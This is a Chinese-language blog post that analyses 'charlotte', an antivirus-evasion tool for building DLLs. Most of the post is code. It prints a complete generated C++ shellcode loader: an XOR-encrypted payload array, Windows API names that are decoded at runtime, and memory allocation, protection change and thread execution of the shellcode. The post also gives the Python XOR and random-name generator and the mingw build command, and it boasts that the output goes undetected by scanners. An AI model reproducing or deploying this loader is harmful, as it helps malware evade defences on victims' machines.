免杀工具charlotte详解,想要成为白帽子,你不会连这个工具都不会用吧?
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前言
多看看别人的工具,自己也就会写了。(手动狗头)
charlotte是一款Python编写的自动化免杀工具,用来生成免杀的dll文件,在antiscan.me上为全绿,效果可见一斑。
官方地址如下:
https://github.com/9emin1/charlotte,其依赖mingw-w64环境,可使用下面的命令安装:
apt-get install mingw-w64*
利用动态导出以及xor编码实现了对杀软的绕过。其文件很简单,只有一个简单的py文件以及一个cpp文件,根据以后以往的经验来看,大概率是通过py操作cpp,然后使用mingw去编译为dll文件。
找到移除代码并将其注释掉,这样可以方便我们进行分析。
此时运行程序,生成的cpp文件便可以拿来进行分析了。
#include <windows.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#pragma comment (lib, "user32.lib")
unsigned char JCDlUYUy[] = 0x8f, 0x31, 0xce, 0x82, 0x93, 0xa0, 0xa3, 0x66, 0x69, 0x6a, 0x32, 0x22, 0x38, 0x1d, 0x34, 0x32, 0x1e, 0x2b, 0x57, 0xbb, 0xf, 0x3b, 0xf8, 0x2b, 0x2d, 0x2e, 0xe8, 0x1a, 0x7b, 0x2e, 0xe2, 0x38, 0x53, 0x3b, 0xf2, 0x3f, 0x36, 0x2b, 0x47, 0xd4, 0x2c, 0x23, 0x27, 0x42, 0xba, 0x31, 0x7c, 0xa6, 0xcf, 0x74, 0x2, 0x1a, 0x6b, 0x46, 0x53, 0x32, 0xb8, 0x84, 0x6b, 0x22, 0x49, 0xa2, 0x84, 0x84, 0x38, 0x32, 0x22, 0x31, 0xc6, 0x34, 0x43, 0xc3, 0x21, 0x5a, 0x21, 0x6b, 0xa3, 0xf8, 0xf9, 0xc5, 0x66, 0x63, 0x48, 0x2b, 0xe3, 0xa9, 0x1e, 0x14, 0x3b, 0x78, 0x9d, 0x36, 0xe8, 0x0, 0x7b, 0x22, 0xe2, 0x2a, 0x53, 0x3a, 0x78, 0x9d, 0x85, 0x35, 0x0, 0x9c, 0xaf, 0x28, 0xe1, 0x47, 0xfb, 0x31, 0x4c, 0xb0, 0x2e, 0x79, 0xaa, 0x2e, 0x58, 0xaa, 0xdf, 0x32, 0xb8, 0x84, 0x6b, 0x22, 0x49, 0xa2, 0x5e, 0x89, 0x1f, 0x82, 0x3f, 0x7a, 0x1, 0x42, 0x6b, 0xd, 0x5a, 0xb7, 0x1c, 0xb2, 0x2b, 0x37, 0xf2, 0xd, 0x42, 0x2a, 0x49, 0xb3, 0x0, 0x28, 0xe1, 0x7f, 0x3b, 0x3d, 0xc6, 0x26, 0x7f, 0x1, 0x62, 0xb6, 0x28, 0xe1, 0x77, 0xfb, 0x31, 0x4c, 0xb6, 0x22, 0x10, 0x22, 0x3e, 0x37, 0x33, 0x29, 0x32, 0x21, 0xc, 0x3f, 0x22, 0x12, 0x2b, 0xe5, 0x85, 0x4a, 0x32, 0x21, 0x86, 0xad, 0x3e, 0x22, 0x11, 0x39, 0x2e, 0xe2, 0x78, 0x9a, 0x24, 0x86, 0xb2, 0x99, 0x3e, 0x0, 0xd9, 0x67, 0x69, 0x6a, 0x73, 0x73, 0x79, 0x4d, 0x66, 0x2b, 0xc5, 0xee, 0x67, 0x68, 0x6a, 0x73, 0x32, 0xc3, 0x7c, 0xed, 0xc, 0xcf, 0x9c, 0xb3, 0xd2, 0x9a, 0xc6, 0xd1, 0x2f, 0xc, 0xdc, 0xc5, 0xdd, 0xde, 0xfb, 0x96, 0xbf, 0x3b, 0xf0, 0xbd, 0x65, 0x5a, 0x65, 0x34, 0x69, 0xe6, 0x92, 0x8a, 0x6, 0x76, 0xc2, 0xa, 0x75, 0x11, 0x27, 0x9, 0x66, 0x30, 0x2b, 0xfa, 0xa9, 0x86, 0x98, 0x5, 0x2, 0x24, 0x0, 0x48, 0xc, 0x12, 0x16, 0x73 ;
unsigned char eZoBiJrv[] = 0x1d, 0x13, 0x8, 0x39, 0x27, 0x22, 0x6, 0x33, 0x2b, 0x29, 0x1f, 0x3b ;
unsigned char flRsMjXxEqUg[] = 0x7, 0x2e, 0x30, 0x37, 0x30, 0x35, 0xd, 0x3a, 0x30, 0x15, 0x13, 0x34, 0x24, 0x36 ;
unsigned char UNvUUdosORtP[] = 0x5, 0x22, 0x33, 0x4, 0x7, 0xd, 0x3d, 0x10, 0x25, 0x23, 0x31, 0x32 ;
unsigned char ATBDYquVpQsA[] = 0x3, 0x2b, 0x2, 0x24, 0x3e, 0x24, 0x1f, 0x3b, 0x2d, 0x1a, 0x2, 0x38, 0x2f, 0x24, 0x32, 0x12, 0x2e, 0xe, 0x1c ;
unsigned int nRhWSUlMCH = sizeof(JCDlUYUy);
unsigned int QWcvhCDTV = sizeof(eZoBiJrv);
unsigned int EmlCIxyIVtZMB = sizeof(flRsMjXxEqUg);
unsigned int KrStpnMvdV = sizeof(UNvUUdosORtP);
unsigned int vpbJEJvZMwA = sizeof(ATBDYquVpQsA);
char OyFWAUEjbtSFRHn[] = "syMfcHcfijs";
char lnqWuuargPhxKMP[] = "KzzMRCjrGEpXt";
char ecNUArKcaf[] = "QGBCETajBzg";
char vsAmIjjJogRteUG[] = "FPVeshixW";
char BoQhJpMzQmTDnGO[] = "TJkPxKmhDte";
LPVOID (WINAPI * xUgwJldYot)(LPVOID lpAddress, SIZE_T dwSize, DWORD flAllocationType, DWORD flProtect);
BOOL (WINAPI * OVpMScQZe)(LPVOID lpAddress, SIZE_T dwSize, DWORD flNewProtect, PDWORD lpflOldProtect);
HANDLE (WINAPI * GDqHQLdymeGF)(LPSECURITY_ATTRIBUTES lpThreadAttributes, SIZE_T dwStackSize, LPTHREAD_START_ROUTINE lpStartAddress, __drv_aliasesMem LPVOID lpParameter, DWORD dwCreationFlags, LPDWORD lpThreadId);
DWORD (WINAPI * AMFrDPRFDB)(HANDLE hHandle, DWORD dwMilliseconds);
void bZmKQfetGTGMibw(char * data, size_t data_len, char * key, size_t key_len)
int j;
j = 0;
for (int i = 0; i < data_len; i++)
if (j == key_len - 1) j = 0;
data[i] = data[i] ^ key[j];
j++;
BOOL APIENTRY DllMain(HMODULE hModule, DWORD ul_reason_for_call, LPVOID lpReserved)
switch (ul_reason_for_call)
case DLL_PROCESS_ATTACH:
case DLL_PROCESS_DETACH:
case DLL_THREAD_ATTACH:
case DLL_THREAD_DETACH:
break;
return TRUE;
extern "C"
__declspec(dllexport) BOOL WINAPI EUywcFyggt(void)
void * Lotjdjcv;
BOOL icOQGcPfg;
HANDLE PXGxcviMnUbGp;
DWORD RqwSapwJJnUpb = 0;
bZmKQfetGTGMibw((char *) eZoBiJrv, QWcvhCDTV, lnqWuuargPhxKMP, sizeof(lnqWuuargPhxKMP));
xUgwJldYot = GetProcAddress(GetModuleHandle("kernel32.dll"), eZoBiJrv);
Lotjdjcv = xUgwJldYot(0, nRhWSUlMCH, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
bZmKQfetGTGMibw((char *) JCDlUYUy, nRhWSUlMCH, OyFWAUEjbtSFRHn, sizeof(OyFWAUEjbtSFRHn));
RtlMoveMemory(Lotjdjcv, JCDlUYUy, nRhWSUlMCH);
bZmKQfetGTGMibw((char *) flRsMjXxEqUg, EmlCIxyIVtZMB, ecNUArKcaf, sizeof(ecNUArKcaf));
OVpMScQZe = GetProcAddress(GetModuleHandle("kernel32.dll"), flRsMjXxEqUg);
icOQGcPfg = OVpMScQZe(Lotjdjcv, nRhWSUlMCH, PAGE_EXECUTE_READ, &RqwSapwJJnUpb);
// If all good, launch the payload
if ( icOQGcPfg != 0 )
bZmKQfetGTGMibw((char *) UNvUUdosORtP, KrStpnMvdV, vsAmIjjJogRteUG, sizeof(vsAmIjjJogRteUG));
GDqHQLdymeGF = GetProcAddress(GetModuleHandle("kernel32.dll"), UNvUUdosORtP);
PXGxcviMnUbGp = GDqHQLdymeGF(0, 0, (LPTHREAD_START_ROUTINE) Lotjdjcv, 0, 0, 0);
bZmKQfetGTGMibw((char *) ATBDYquVpQsA, vpbJEJvZMwA, BoQhJpMzQmTDnGO, sizeof(BoQhJpMzQmTDnGO));
AMFrDPRFDB = GetProcAddress(GetModuleHandle("kernel32.dll"), ATBDYquVpQsA);
AMFrDPRFDB(PXGxcviMnUbGp, -1);
return TRUE;
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其中的calc_payload[]为我们的shellcode,后面的则是随机生成的key和函数名,然后使用动态导出的方法来获取函数,原代码如下:
BOOL (WINAPI * pVirtualProtect)(LPVOID lpAddress, SIZE_T dwSize, DWORD flNewProtect, PDWORD lpflOldProtect);
XOR((char *) virtual_protect, vp_len, vp_key, sizeof(vp_key));
pVirtualProtect = GetProcAddress(GetModuleHandle("kernel32.dll"), virtual_protect);
rvba = pVirtualProtect(exec_mem, calc_len, PAGE_EXECUTE_READ, &oldprotect);
而这些实现,则是用的py实现,获取随机字符串
def get_random_string():
# With combination of lower and upper case
length = random.randint(8, 15)
result_str = ''.join(random.choice(string.ascii_letters) for i in range(length))
# print random string
return result_str
xor函数
def xor(data):
key = get_random_string()
l = len(key)
output_str = ""
for i in range(len(data)):
current = data[i]
current_key = key[i % len(key)]
o = lambda x: x if isinstance(x, int) else ord(x) # handle data being bytes not string
output_str += chr(o(current) ^ ord(current_key))
ciphertext = ' 0x' + ', 0x'.join(hex(ord(x))[2:] for x in output_str) + ' ;'
return ciphertext, key
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剩下的就是一个替换了,最后使用ming-w去编译dll
os.system("x86_64-w64-mingw32-g++ -shared -o charlotte.dll charlotte.cpp -fpermissive >/dev/null 2>&1")
总结:工具技术均为常见技术,结合起来则出了不错的效果,当然dll的选择也是一个很好的点,参考之前生成service exe的工具。
最后希望大家可以给我一个三连也算是对我的一个小小的支持,我建立了一个安全学习交流群
有兴趣的朋友加入安全交流君羊:965912595一起吹水聊天学习挖洞
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